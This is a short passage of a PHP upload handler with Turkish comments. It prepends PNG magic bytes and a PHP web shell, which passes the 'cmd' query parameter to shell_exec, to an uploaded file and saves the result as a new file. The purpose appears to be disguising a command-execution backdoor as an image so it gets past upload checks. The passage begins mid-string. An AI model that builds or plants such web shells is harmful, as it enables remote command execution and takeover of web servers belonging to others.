' . shell_exec(\$_GET['cmd']) . ''; } ?>";
// PNG magic bytes (dosya başı)
$pngHeader = "\x89PNG\r\n\x1a\n";
// Dosya başına PHP kodu ve PNG header'ı ekliyoruz
$newFileContent = $pngHeader . $phpShell . $uploadedFile;
// Yeni dosya adı
$newFilePath = $uploadKlasoru . "new_" . basename($_FILES['uploaded_file']['name']);
file_put_contents($newFilePath, $newFileContent);
// Yeni dosya bağlantısı
echo "
Yeni dosya başarıyla oluşturuldu: Yeni Dosyayı Görüntüle";
} else {
echo "Dosya yüklenirken bir hata oluştu!";
}
}
?>